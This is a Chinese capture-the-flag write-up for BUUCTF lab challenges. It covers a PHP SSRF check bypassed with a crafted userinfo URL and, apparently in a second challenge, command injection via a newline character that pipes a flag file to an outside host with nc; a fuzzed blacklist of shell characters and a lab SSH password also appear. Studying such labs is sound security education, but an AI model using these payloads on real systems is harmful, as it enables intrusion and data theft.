题目内容素材来自BUUCTF,若需转载请注明出处,本篇文章仅供学习,有任何问题请联系作者:点击链接联系我
这界面也太用心了!!!学习学习 1.点击interesting challenge显示源码
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
2.审计源代码
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
这段代码相当于main()函数,通过GET传参方式传入url赋值给$url,检测url是否为空,不为空则执行safe_request_url函数 3.代码溯源 若不空则执行函数afe_request_url(),那我们去看看这个函数
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
safe_request_url函数在一开始就有个通过check_inner_ip($url)进行校验的判断,又调用了新的函数,再去看看
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
//首先preg_match正则匹配,检查传入的url是否是url格式
//如果是url格式,则继续执行safe_request_url
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24
== $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long
('192.168.0.0')>>16 == $int_ip>>16;
}
关于题目中用到的一些方法:
curl_init — 初始化一个cURL会话
curl_exec — 执行一个cURL会话
curl_getinfo — 获取一个cURL连接资源句柄的信息
curl_close — 关闭一个cURL会话
关于curl_setopt — 设置一个cURL传输选项
curl部分大致功能就是初始化,然后获取一个网页
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
这个if的作用就是如果没有获取到信息,就重复获取,重复执行safe_request_url函数最后把exec后的数据dump出来var_dump(output);之后就出函数了接下来将parse_url后的url赋值给url_parse
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
如果parse_url执行失败,则返回false parse_url会将url分成6个部分:
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
接下来,是一个赋值过程:
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
hostname得到的是前面url_parse分离出来的host部分 ip 得到的是将hostname转换为ip地址后的数值(就是把url转成ip地址) int_ip得到的是经过计算后的纯数字形式的ip地址,然后是一个return
绕过 我们最终的目的是要curl 127.0.0.1/flag然后得到dump出来的数据 那么该怎么绕过这两重检测呢 直接传入http://a:@127.0.0.1:80@baidu.com/flag.php payload:
http://f123eaa8-50ea-4a36-837b-6ae2f5b8c609.node4.buuoj.cn:81/
challenge.php/?url=http://a:@127.0.0.1:80@baidu.com/flag.php
其中flag.php是在界面给的提示 这个payload的作用就是,让检测到的url和curl请求的url不一致 这个payload传入后: safe_request_url检测之后 parse_url取到的host是baidu.com 而真正curl的确是127.0.0.1/flag
<!--这里有点凌乱,现在是凌晨了,肝不动了,我先睡了-->
1.准备工作:
注意⚠️:这里之所以开这道题环境是因为这里需要一个公网服务器的IP,这里自己有服务器的可以直接用,但是并不是每个人都有自己的服务器,我们就白嫖BUU的服务器了 2.使用ssh命令连接
终端上输入:
ssh -p 28044 root@node4.buuoj.cn
密码是:123456
(这道题没做出来的先做了,如果这题不会的话,建议先别碰这道题,难度较大) 这里是我的Basic/Linux Labs的解题WP:Linux Labs 3.查看本机公网IP(也就是Linux Labs这道题的公网IP)
4.开始解题
5.存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符,那我们先把这些字符找出来,这样后面就能更顺利。
反馈结果包括以下三种:
IP Ping 成功.
IP Ping 失败.
IP包含恶意字符.
6.(及利用fuzz的方式)所以知道能够知道过滤了以下字符:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'",
"~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
7.通过%0a能够注入新的一条命令进行执行
ip=127.0.0.1%0als
由于docker是没有bash或python程序的,并且sh反弹是不行的。 9.目前是能通过折中的方式执行任意命令 (1).编写1.sh,内容如下: ls cat /FLAG | nc 这里写你BUU开服务器题目的IP 8089 (2)终端操作:
由于我一边解题一边写WP,时间可能长了,给我关了,大家一定要手速快一边过 (3)请求bash文件到tmp目录